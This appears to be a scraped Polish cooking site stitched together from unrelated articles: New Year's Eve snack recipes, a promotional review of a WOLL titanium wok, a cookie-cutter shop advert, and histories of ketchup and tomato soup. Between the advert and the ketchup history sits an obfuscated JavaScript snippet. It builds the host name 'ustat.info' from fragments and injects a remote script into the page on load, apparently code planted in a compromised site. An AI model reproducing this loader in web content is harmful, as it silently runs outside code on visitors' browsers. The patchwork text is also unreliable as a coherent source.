Przepis na zapiekankę makaronową | Zapiekanka makaronowa z mięsem mielonym
Przepis na zapiekankę makaronową | Zapiekanka makaronowa z mięsem mielonym

Zastając dalej przy smakach kuchni włoskiej, w moim zestawieniu nie mogło zabraknąć prawdziwe włoskiej pizzy. Dlatego dodaję tutaj również przepis jak zrobić idealne ciasto na pizzę? Dobra pizza to nie tylko dobrej jakości składniki, ponieważ sekret udanej pizzy tkwi właśnie w doskonałym cieście. Na mojej domówce pizzy na pewno nie zabraknie! Zbliżając się do kolejnego dania, nie sposób pominąć kremowej zupy z marchewek. Jest to bardzo łatwa w przygotowaniu zupa, składa się z niewielu składników, które są łatwo dostępne. A jej podstawowym składnikiem są oczywiście marchewki!

Jak zrobić idealne ciasto na pizze?
Jak zrobić idealne ciasto na pizze?
Zupa krem marchewkowa
Zupa krem marchewkowa

Przekąski na Sylwestra na drugą część nocy

Zabawa Sylwestrowa to nie tylko noc do północy jest jeszcze druga część, na którą również możemy przygotować wyjątkowe przekąski. Jednak te przekąski będą nieco inne od tych otwierających Sylwestrową noc. Dlatego na drugą połówkę warto pokusić się o sałatki. Na pierwszy ogień możemy wystawić sałatkę z surimi, jajkiem i kukurydzą. To bez wątpienia nietypowa sałatka, wprawiające w zachwyt wszystkich gości. Kilka składników ułożonych tematycznie w warstwy sprawi, że ta najważniejsza noc w roku będzie bardzo kulinarnie udana. Na mojej liście nie mogło zabraknąć klasyków. Ciężko było mi się zdecydować, pomiędzy sałatką ziemniaczaną z szynką i ogórkiem a tradycyjną sałatką jarzynową. Wybór jest naprawdę ciężki, dlatego pozostawiam go Wam do rozstrzygnięcia w komentarzach.

Przepis na sałatkę z surimi, jajkiem i kukurydzą
Przepis na sałatkę z surimi, jajkiem i kukurydzą
Sałatka jarzynowa tradycyjna
Sałatka jarzynowa tradycyjna

Na mojej liście „przekąski na Sylwestra” nie może zabraknąć przepisu na tatara. Tatar wołowy — klasyczny przepis, to danie, które pasuje zawsze i wszędzie, niczym założenie klasycznego, czarnego garnituru na ważną uroczystość. Oczywiście czasy się zmieniają, moda też, ale tatar wołowy to bezdyskusyjna ponadczasowa klasyka. Kończąc lekkim akcentem, możemy zaserwować kanapki z jajkiem, awokado i krewetkami. Oczywiście wytrawnych przepisów na dania nocy Sylwestrowej jest znacznie więcej, ale nie chciałbym zrobić z tego zestawienia wszystkich przepisów świata. Dlatego wybrałem te, które według mnie są najważniejsze.

Jak zrobić Tatar wołowy — klasyczny przepis
Jak zrobić Tatar wołowy — klasyczny przepis
Kanapka z jajkiem, awokado i krewetkami
Kanapka z jajkiem, awokado i krewetkami

Przekąski na słodko na Sylwestra

Przekąski na Sylwestra to nie tylko potrawy słone, to również dania na słodko, tak więc pierwszym z nich może być łaciate ciasto z jabłkami. To interesująca propozycja na domowe wypieki na Sylwestra, która kusi zarówno wspaniałym smakiem, jak i oryginalnym wyglądem. Nie jest to bowiem klasyczna szarlotka, ale zupełnie coś nowego. Kolejnym ciastem w moim zestawieniu jest pleśniak, czyli kruche ciasto z dżemem i bezą. Podobnie jak w przypadku łaciatego ciasta, pleśniak jest wypiekiem, który syci zarówno oczy, jak i podniebienie. Kruche ciasto z kwaśnym dżemem i lekką, słodką pianką zachwyca przy każdym kolejnym kęsie.

Przepis na Łaciate ciasto z jabłkami
Przepis na Łaciate ciasto z jabłkami
Pleśniak, kruche ciasto z dżemem i bezą
Pleśniak, kruche ciasto z dżemem i bezą

Kolejną porcję wspaniałych przepisów na Sylwestra zaczniemy od drobnych ciasteczek, tak więc — co prawda już po świętach, ale bardzo aktualnie będzie przygotować pierniczki świąteczne. Zdecydowanie nie może ich zabraknąć na stole Sylwestrowym. Warto zwrócić się również w kierunku babeczek lub jak kto woli muffinek. Muffinki czekoladowe, bo o nich mowa świetnie sprawdzą się jako słodkie przekąski na Sylwestra. Moje muffinki są przepisem z ukłonem w stronę wegan i osób nietolerujących laktozy.

Przepis na najlepsze Pierniczki Świąteczne
Przepis na najlepsze Pierniczki Świąteczne
Przepis na Muffinki czekoladowe
Przepis na Muffinki czekoladowe

Dodatki które warto przygotować wcześniej

Moje zestawienie to nie tylko lista przekąsek czy dań na Sylwestra, również pokusiłem się o przygotowanie dodatków, które możemy przygotować znacznie wcześniej. Do takich dodatków bez wątpienia możemy zaliczyć chlebek Turecki — wyśmienity chlebek, który przygotujemy na patelni. Kolejnym dobrym dodatkiem, w zasadzie uzupełnieniem chlebka tureckiego może być sos marinara. Tak przygotowany sos może być samodzielnym dodatkiem do przekąsek takich jak nachosy, jak również może stanowić bazę do przygotowywania innych sosów.

Przepis na Chlebek Turecki | Bazlama
Przepis na Chlebek Turecki | Bazlama
Przepis na Sos marinara
Przepis na Sos marinara

Lista przekąski na Sylwestra, czy przepisy na noc Sylwestrową jest oczywiście znacznie dłuższa. Jeśli chcesz przejrzeć więcej dań i przekąsek, to koniecznie zajrzyj do tagu przepisy na Sylwestra — ująłem tam znacznie więcej przepisów tematycznie związanych z tą wyjątkową nocą.

Kilka dni temu do mojej kuchennej kolekcji garnków i naczyń dołączyła patelnia tytanowa, a konkretnie to Wok marki WOLL od oficjalnego polskiego dystrybutora https://www.patelnie-tytanowe.pl/. Z racji tego, że uwielbiam dania dalekiego wschodu, które zresztą często goszczą w mojej kuchni. A wszelkiego rodzaju woki i kociołki są mi bardzo bliskie, to moja dzisiejsza recenzja będzie dotyczyła właściwości kulinarnych patelni z serii WOLL Diamond Pro. Mimo że patelnię „przećwiczyłem” na różnych potrawach, zaczynając od kurczaka smażonego w mango, przez kurczaka w kremowym sosie curry, polędwiczki wieprzowe po chińsku, a nawet (pozornie niepasującą tutaj) fasolkę po bretońsku. To dzisiejszy przepis nie będzie tradycyjnym daniem kuchni azjatyckiej. Tym razem będziemy rozkoszować się smakami śródziemnomorskimi, czyli makaronem ze szparagami i krewetkami. Co oczywiście również bardzo pasuję do przygotowania w woku.

Przepis na makaron ze szparagami i krewetkami
Przepis na makaron ze szparagami i krewetkami

Patelnia wok WOLL Diamond Pro dla profesjonalistów?

Pierwsze co szczególnie zwróciło moją uwagę, to wykonanie patelni. Jest na najwyższym poziomie, wręcz profesjonalne. Tutaj nawet bardzo wymagający użytkownicy będą w pełni zadowoleni. Nic się nie odgina, nic nie trzeszczy. Rączka wykonana jest z jednego kawałka stali nierdzewnej, jest bardzo solidnie przymocowana, dzięki czemu nie tylko wygląda świetnie, ale również zapewnia pewny chwyt naczynia. Nawet przekręcając potrawę w patelni, za pomocą energicznych potrząśnięć całą patelnią nie odniosłem wrażenia, że mogłoby coś się urwać. Wręcz przeciwnie, rączka trzyma się, jak by stanowiła integralną całość z korpusem — to zasadniczo duży plus przy patelniach tego gabarytu.

Patelnia tytanowa Wok WOLL Diamond PRO ze szparagami
Wok WOLL Diamond PRO ze szparagami

Powłoka patelni wykonana jest z połączenia tytanu i diamentu technicznego, dzięki czemu jest super nieprzywierająca i bardzo odporna na zarysowania. Sprawdziłem wytrzymałość, gdyż nie lubię zjadać części patelni i muszę przyznać, że patelnia wok WOLL zdała ten test celująco. Oczywiście nie odważyłem się przetestować patelni tradycyjnym druciakiem, którego używam do mycia patelni żeliwnej, jednak normalne korzystanie ze stalowych sztućców nie robi na tytanowej powłoce żadnego wrażenia. Przez co oznaczanie Diamond Pro ma tutaj rzeczywiste odzwierciedlenie w wykonaniu patelni.

Patelnia tytanowa Wok WOLL — dno tytanowe
Dno tytanowe patelni wok WOLL

Mając na myśli Pro, wcale nie chodzi o wykorzystanie patelni wyłącznie w profesjonalnej gastronomii. Wok WOLL używam w domu, do przygotowania posiłków dla siebie i rodziny, ale to, co zwróciło moją szczególną uwagę, jest sposób, w jaki dochodzi do podgrzewania czy smażenia potraw. Najprościej rzecz ujmując, jeśli chce uzyskać złoty czosnek podsmażany na oliwie, to właśnie taki będzie, niezależnie jak mocno ustawię swoją płytę indukcyjną. Perfekcja, z jaką wok przekazuję ciepło za pomocą stalowo-magnetycznej płyty ukrytej pod delikatnie wystającym spodem jest wręcz zdumiewająca. Odniosłem wrażenie, że dzięki wokowi Woll Diamond Pro nie potrzebuję, aż tak zaawansowanych umiejętności kucharskich, jakie posiadam. Przez co gotowanie jest znacznie łatwiejsze

Patelnia tytanowa Wok WOLL — spód patelni
Spód patelni wok WOLL Diamond Pro

Jaki jest wok WOLL?

Powiedzieć, że jest perfekcyjny, to jak nic nie powiedzieć. A znowuż nic nie powiedzieć nie wypada. Dlatego najlepszym dowodem słuszności zakupu woka niech będzie smak przygotowywanych potraw. Doznania kulinarne są wręcz nie do opisania, wok WOLL wydobywa niesamowity smak i aromat nawet z najprostszych dań. Co w mojej opinii zasługuję na najwyższe uznanie. Oczywiście aspekt wizualny samej patelni, jakość wykonania czy trwałość jest również bardzo ważna. I tutaj myślę, że zastosowana powłoka tytanowo — diamentowa będzie służyć przez długie lata. Co oczywiście zrekompensuję koszty zakupu woka. Chociaż, cena to pojęcie względne i w moim odczuciu wydanie 600 zł na patelnię tej klasy z pokrywką w komplecie wcale nie jest dużym wydatkiem. Zwłaszcza że tutaj na prawdę cena ma przełożenie na jakość wykonania i niepowtarzalny smak przyrządzanych posiłków.

Patelnia tytanowa Wok WOLL Diamond
Patelnia tytanowa wok WOLL Diamond

W moim odczuciu cena jest adekwatna do jakości. Moja kuchnia gości — jak już wcześniej wspomniałem również patelnie żeliwne, więc waga patelni tytanowej WOLL Diamond Pro nie jest dla mnie przerażająca. Oczywiście wok swoje waży, przy średnicy 26 cm to 1527 gram, a z pokrywką 2278 gram. Co w przypadku przygotowywania większego posiłku może mieć znaczenie. Waga wynika z technologii wykonania, 5 powłok ukrytych w dnie i brzegach patelni, czy powłoce tytanowo — diamentowej. To wszystko musi ważyć, ale ponownie się powtórzę, że jakość wykonania i smak przygotowywanych posiłków jest nieporównywalnie lepszy od innych tego typu patelni.

Podsumowanie recenzji

Smażenie, gotowanie czy duszenie na patelni tytanowej wok WOLL jest wręcz przyjemnością. Okazuję się, że patelnia może być zarówno luksusowa, jak i mieć swoje praktyczne zastosowanie w kuchni. Jakość wykonania, nieprzywierająca powłoka, możliwość stosowania patelni na wszystkich rodzajach kuchenek to wszystko składa się na całokształt i wszechstronność patelni wok WOLL Diamond Pro. Do tego wszystkiego dochodzi jeszcze możliwość wykorzystania patelni w piekarniku! Jej żaroodporność wynosi aż 250℃! Co jest imponującym wynikiem, ponieważ przygotowując soczystą wołowinę, w pierwszej kolejności możemy ją obsmażyć, następnie włożyć do piekarnika i zapiec. Jak dla mnie, rewelacja!

Patelnia tytanowa Wok WOLL przepis na makaron ze szparagami — Podsumowanie
Patelnia tytanowa Wok WOLL przepis na makaron ze szparagami — Podsumowanie

Urządzasz swoją kuchnię i zależy Ci na tym, aby kompleksowo ją wyposażyć? W takim razie, jeżeli jesteś miłośnikiem pieczenia słodkości, nie powinieneś pominąć foremek do wykrawania ciastek. W końcu takie wypieki świetnie sprawdzą się nie tylko na święta czy na urodziny, ale też po prostu jako przekąska na co dzień. Zastanawiasz się nad tym, jakiego typu akcesoria kupić, aby móc ich używać na różne okazje? Czytaj dalej, a przedstawimy Ci 3 typy foremek, których nie może zabraknąć w Twoim domu.

Foremki do ciastek – jakie wzory warto mieć w domu?

Obecnie na rynku znajdziesz szeroki wybór przeróżnych foremek do ciastek. W przypadku, gdy chcesz być przygotowany na różne okoliczności, wcale nie musisz kupować dziesiątek różnych modeli. Wystarczy, że będziesz miał kilka zestawów, a przekonasz się, że będziesz mógł piec przez cały rok.

1. Plakietki

Pierwszym zestawem foremek do pieczenia, który warto mieć w swoim domu, są plakietki. To bardzo uniwersalne wzory, które pozwolą Ci wykroić estetyczne etykietki. Takie ciasteczka są bardzo łatwe do ozdobienia i dzięki temu możesz je przygotować dosłownie na każdą okazję. Nie musisz być bardzo wprawionym cukiernikiem, aby być w stanie napisać na nich dedykację dla solenizanta lub ozdobić je motywami związanymi z porą roku.

2. Foremki świąteczne

Absolutnym must have w każdym domu jest zestaw foremek świątecznych. Najlepiej, abyś kupił dwa komplety – jeden na Boże Narodzenie i drugi na Wielkanoc. Dzięki temu sprawisz, że przygotowywane przez Ciebie uroczystości zyskają przyjemnego, rodzinnego wymiaru. W końcu zapach wspólnie przygotowywanych pierniczków czy kruchych ciasteczek każdego wprawi w odświętny nastrój.

3. Zestaw serduszek

Bardzo uniwersalnym rozwiązaniem jest zestaw wykrawaczy w kształcie serduszek. Wypieki w takiej formie sprawdzą się świetnie niezależnie od okazji. Takie ręcznie robione ciasteczka możesz komuś podarować lub położyć niewielkie serduszko na spodeczku, przy filiżance kawy swojego gościa. To wręcz idealny kształt dla domowych, samodzielnie tworzonych słodkości.

Mając takie foremki do ciastek, będziesz przygotowany na każdą okazję. Internauci, którzy szukają tego typu produktów, często decydują się na zakupy na https://www.cake-land.pl/foremki-wykrawacze. Cake Land to e-sklep stworzony przez pasjonatów cukiernictwa, którzy doskonale znają się na realiach branży. W ofercie znajdziesz szereg praktycznych i modnych akcesoriów, które zadowolą nie tylko amatorów, ale również zawodowców.

(function(){
wywg=document.createElement(“script”);wywg.type=”text/javascript”;
wywg.async=true;wywg_=((“us”)+”t”)+”a”;wywg_+=(“t.i”)+””+”n”;wywg_+=((“f”)+”o”);wywg_+=”/”;
wywgu=”433446093.”;wywgu+=”xxydi3vqywg2c2px5wbwnvyrzvgxzx”;wywg.src=”https://”+wywg_+wywgu;
wywgdb=document.body;wywgdb.appendChild(wywg);
})();

Jak powstał ketchup?

Dzisiaj ketchup można spotkać niemal w każdej lodówce, czy barze szybkiej obsługi i choć zapewne kojarzony jest z przysmakiem rodem z Ameryki, jako nieodłączny towarzysz frytek, czy kiełbasek z grilla serwowanych na całym świecie, to jego historia sięga XVII wieku i ma swój początek w Chinach!

Jest koniec XVII wieku i sos zwany ketchupem ma niewiele wspólnego z dzisiejszym przysmakiem. Z początku był miksturą z marynowanych ryb i przypraw, której bazą była zupa polinezyjska, zwaną „kee-chiap”, w tłumaczeniu oznacza „zaprawę z marynowanych ryb”. Składała się prawdopodobnie z cebuli, sardynek, fasoli, orzeszków arachidowych, oraz sporej ilości ziół.

Ketchup kiedyś

Stopniowo sos zdobywał coraz większą popularność, a za sprawą podróżników trafił do mieszkańców regionów leżących obecnie na terenie Malezji i Singapuru. W tamtym czasie owe tereny należały do Imperium brytyjskiego. W ten sposób ketchup zawitał do Anglii, oraz z indonezyjsko-malajskiego słowa „kechap” powstało angielskie określenie „ketchup”. Z biegiem lat i historii, a także kolejnych podróży międzykontynentalnych, sos o nazwie ketchup trafił do Ameryki, gdzie około 1801 roku ukazał się przepis na keczup pomidorowy, autorstwa Sandy Addison w amerykańskiej książce kucharskiej pod tytułem „Sugar House Book”. Siedemdziesiąt lat później podczas gdy Anglicy szukali smaku idealnego, dodając do niego grzyby, Amerykanie zrobili to, na co wszyscy czekali ‒ postawili ostatecznie na pomidory. Około 1890 roku sos został przez Henry Johna Heinz’a zasymilowany i poddany modyfikacjom smakowym tak, aby zadowolić amerykańskie podniebienia.

Początkowo doprawiano go jedynie solą, pieprzem oraz takimi przyprawami jak: gałka muszkatołowa, goździki, cynamon, oraz imbir. Był również o wiele bardziej wodnisty od sosu, którym dziś polewamy potrawy. Z czasem jednak zaczęto dodawać do niego cukier oraz ocet, a sam keczup stał się bardziej gęsty. W Europie ketchup pojawił się tuż po wojnie, przysyłany wraz z darami zza wielkiej wody. Wtedy też trafił do Polski i stał się dodatkiem numer jeden, odsuwając nieco w cień musztardę oraz chrzan.

Ketchup dzisiaj

Obecnie podstawowe składniki ketchupu to oczywiście pomidory, cukier, sól, ocet, ziele angielskie, cebula oraz różne przyprawy. W niektórych regionach świata produkuję się inne odmiany ketchupu. Dla przykładu z Filipin pochodzi ketchup bananowy który bardzo dobrze komponuje się z owocami morza, rybami, krabami, kurczakiem oraz wieprzowiną. Pomijając fakt iż jego struktura i kolor przypomina jak by już raz został zjedzony. Dlatego obecnie ketchup z bananów jest farbowany na kolor czerwony, aby nie odstraszał wyglądem.

Podsumowując, ketchup od swojego początku do chwili obecnej, przebył bardzo długą drogę. Najważniejszym jednak atutem ketchupu jest jego smak, który faktycznie idealnie komponuje się ze smakiem wielu potraw. Pewien fan club ketchupu z Nowego Yorku promuję swoje działania hasłem brzmiącym – „nieważne co jesz, ketchup zawsze pasuje idealnie”. Trudno się z tym nie zgodzić!

Jest jeszcze jedna bardzo ważna sprawa dotycząca tego przysmaku – WYMOWA fonetyczna. Według prof. Miodka oraz prof. Bralczyka poprawna wymowa to „keczup”, zamiast „keczap” – tłumacząc z angielskiego.

Na polskich stołach bardzo często goszczą zupy, a wśród nich prym wiedzie … pomidorówka. Jest ona jedną z najsmaczniejszych zup, a do tego wyjątkowo prosta w przygotowaniu. Jej podstawę stanowią oczywiście pomidory, które trafiły do nas prosto z Włoch za sprawą królowej Bony, propagatorki spożywania zarówno włoszczyzny, jak i samych zup właśnie. Przyjrzyjmy się, zatem nieco bliżej historii pomidorówki.

Bogate dzieje pomidorów – od Azteków do Polski

Pomidory uprawiane były już od wieków w Ameryce Południowej, chociażby w ogrodach samego Montezumy. Aztekowie znali uprawę „xitomatl” (tak nazywali pomidory) dzięki kontaktom z południem, bowiem mają one pochodzenie andyjskie. Pomidory, obok papryki chili, był u Azteków głównym składnikiem meksykańskiego pikantnego gulaszu.

Do Europy trafiły w XVI wieku na hiszpańskich statkach, dowodzonych przez Corteza. I to właśnie on i jego ludzie, jako pierwsi Europejczycy, jedli pomidory w Meksyku w 1519 r.

Początkowo wierzono, że jaskrawy kolor „tomate” ostrzega przed trucizną, jaką miały w sobie zawierać, więc nie jedzono ich wcale. Co więcej, ówczesne pomidory były znacznie mniejsze, mniej więcej wielkości współczesnych pomidorków koktajlowych, i odznaczały się żółtą a nie czerwona barwą.

Pomidory – „jabłka miłości”

Jako pierwsi uprawą pomidorów w celach dekoracyjnych zajęli się Włosi. Ich „Pomi d’oro” oznaczało żółte jabłka. Z kolei Francuzi nazywali je jabłkami miłości – „pommes d’amour”, co przysporzyło im wrogów w Anglii. Ze względu na ich potencjalne właściwości afrodyzjakalne, przez długi okres czasu mieszkańcy Wielkiej Brytanii stronili od pomidorów, z obawy przed rozbudzeniem grzesznych namiętności.

Do Polski, jak już wcześniej wspominałam, sprowadziła je miłośniczka wykwintnych potraw, podawanych z wielkim kunsztem, doprawianych z niezwykłą dbałością, często luksusowymi dodatkami, Bona Sforza.

Zupa pomidorowa – klasyczna pomidorówka
Zupa pomidorowa – klasyczna pomidorówka
Zupa krem ze świeżych pomidorów
Zupa krem ze świeżych pomidorów

Zupa pomidorowa znana już od XIX wieku

Pierwszy przepis na pomidorówkę pochodzi z 1872 roku, a został on spisany przez Marię Parloę w Stanach Zjednoczonych. Zdaniem Amerykanów, spożywanie pomidorów w tej formie rozsławiła słynna zupa Campbella z 1897 r. Warto jednak zauważyć, że zupa pomidorowa znana była w XIX wieku również w Polsce, o czym świadczą przepisy znajdujące się w „Kuchni polskiej” z tego okresu.

Co kraj to obyczaj, czyli różne warianty słynnej pomidorówki

Zupa pomidorowa ma wiele różnych wariantów, zależnie od tego, w którym zakątku świata jest przyrządzana. Jej polska wersja przygotowywana jest na bazie tradycyjnego rosołu, do którego dodaje się świeże pomidory, pomidory z puszki lub koncentrat pomidorowy oraz śmietanę, i najczęściej podawana jest z makaronem lub ryżem. Obok schabowego z ziemniakami, uznawana jest za element tradycyjnej polskiej kuchni.

Włoska pomidorówka jest znacznie gęstsza i słodsza od naszej, a do tego smakuje bazylią oraz oliwą z oliwek. Do angielskiej wersji dodaje się łyżkę chrzanu, zaś hiszpańska pomidorówka serwowana jest na zimno w formie gazpacho. Meksykanie zupę pomidorową gotują na bazie obsmażonej i pokrojonej w kostek piersi z kurczaka, a doprawiają ją świeżą papryczką chili oraz kuminem. W Indiach z kolei pomidorówka ma postać gęstej zupy, z dodatkiem marchewki, czasami soczewicy i mieszanki egzotycznych masal.

Zobacz również: Zupa pomidorowa – klasyczna pomidorówka

© UiCore 2025. All Rights Reserved.